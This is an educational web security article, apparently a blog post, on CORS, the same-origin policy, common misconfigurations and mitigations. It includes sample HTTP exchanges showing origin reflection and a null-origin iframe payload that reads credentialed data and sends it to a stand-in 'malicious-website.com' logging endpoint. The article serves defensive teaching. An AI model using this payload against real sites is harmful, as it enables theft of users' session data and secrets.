Information Security 20 min read

Cross-Origin Resource Sharing (CORS) and Same‑Origin Policy: Concepts, Vulnerabilities, and Mitigations

This article explains the fundamentals of Cross‑Origin Resource Sharing (CORS) and the Same‑Origin Policy, illustrates common misconfigurations and attack scenarios such as origin reflection, null origin whitelisting, and TLS downgrade, and provides best‑practice mitigation techniques for secure web development.

System Architect Go
System Architect Go
System Architect Go
Cross-Origin Resource Sharing (CORS) and Same‑Origin Policy: Concepts, Vulnerabilities, and Mitigations

Cross‑Origin Resource Sharing (CORS)

CORS is a browser mechanism that allows controlled access to resources located outside the current origin. While it extends the Same‑Origin Policy, improper configuration can introduce cross‑origin attacks. CORS does not protect against CSRF.

What is CORS?

CORS uses a set of HTTP headers to define trusted web domains and related attributes, such as whether authenticated access is allowed. Browsers exchange these headers with the target site.

Same‑origin policy (SOP)

SOP restricts a script on one origin from accessing data on another origin, protecting users from malicious sites that could otherwise read cookies, session data, or private information.

Relaxations of SOP

To enable legitimate cross‑origin interactions, many sites use CORS to relax SOP in a controlled way. The Access-Control-Allow-Origin header specifies which origins are allowed.

Vulnerabilities caused by misconfigured CORS

Common mistakes include echoing the request Origin header directly, allowing overly broad whitelists, and permitting null origins.

Echoing Origin in ACAO

Some applications return the incoming Origin value as Access-Control-Allow-Origin without validation.

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true

This allows any domain to read sensitive data, including cookies.

Origin whitelist mistakes

Using simple suffix or prefix matching can be abused. For example, allowing any domain that ends with normal-website.com lets an attacker register hackersnormal-website.com . Allowing any domain that starts with normal-website.com enables normal-website.com.evil-user.net .

Allowing null origin

Browsers send Origin: null for sandboxed, file‑protocol, or redirected requests. Some developers whitelist null for local development, which attackers can exploit via iframes.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() { location='malicious-website.com/log?key='+this.responseText; };
</script>"></iframe>

Using CORS trust to exploit XSS

If a trusted site has an XSS flaw, an attacker can combine it with a correctly configured CORS trust relationship to steal data.

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

An XSS payload on subdomain.vulnerable-website.com can then read the sensitive response.

Misconfigured CORS breaking TLS

When a site trusts an HTTP sub‑domain while serving the main site over HTTPS, an attacker can redirect the victim to the insecure sub‑domain, capture the request, and forward a forged CORS request to the HTTPS endpoint, leaking data even though cookies are marked Secure.

Intranet‑only CORS with no credentials

Servers that expose Access-Control-Allow-Origin: * without Access-Control-Allow-Credentials can be abused from the public internet if an internal user visits a malicious site, turning the browser into a proxy for intranet resources.

How to defend against CORS‑based attacks

Explicitly list trusted origins in Access-Control-Allow-Origin instead of echoing the request origin.

Never allow null or wildcard * when credentials are required.

Avoid using wildcards in internal networks; prefer exact hostnames.

Remember that CORS is not a substitute for server‑side authentication and authorization.

Validate and sanitize any user‑controlled data that may affect CORS headers.

Same‑origin policy (SOP)

SOP prevents scripts from one origin from reading data from another origin, protecting user sessions and private information. An origin consists of scheme, domain, and port; all three must match for two URLs to be considered same‑origin.

Exceptions exist (e.g., writable but not readable objects like location , readable but not writable objects like window.length , and functions such as postMessage ).

Legacy browsers sometimes allow cookie sharing across sub‑domains even when SOP would block it; using the HttpOnly flag can mitigate some risks.

Setting document.domain can relax SOP for sub‑domains of the same parent domain, but modern browsers no longer allow relaxing to top‑level domains.

CORS and the Access‑Control‑Allow‑Origin response header

The Access-Control-Allow-Origin header indicates which origins may access the response. Browsers compare this header with the request's Origin header.

Simple CORS example

GET /data HTTP/1.1
Host: robust-website.com
Origin: https://normal-website.com

Server response:

HTTP/1.1 200 OK
... 
Access-Control-Allow-Origin: https://normal-website.com

Credentialed cross‑origin requests

By default, browsers omit cookies and Authorization headers. To include them, the server must send Access-Control-Allow-Credentials: true .

GET /data HTTP/1.1
Host: robust-website.com
Origin: https://normal-website.com
Cookie: JSESSIONID=

Response:

HTTP/1.1 200 OK
... 
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true

Wildcard usage

The header can be set to * , but this cannot be combined with Access-Control-Allow-Credentials: true because it would expose authenticated data to anyone.

Preflight requests

For non‑simple requests (e.g., custom methods or headers), browsers send an OPTIONS request first to verify permissions.

OPTIONS /data HTTP/1.1
Host:
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

Possible server response:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

Can CORS prevent CSRF?

No. CORS is a controlled relaxation of SOP and, if misconfigured, can actually increase the risk of CSRF attacks.

CORShttp headersSame-Origin PolicyWeb SecurityCross-Origin Attacks
System Architect Go
Written by

System Architect Go

Programming, architecture, application development, message queues, middleware, databases, containerization, big data, image processing, machine learning, AI, personal growth.

0 followers
Reader feedback

How this landed with the community

login Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.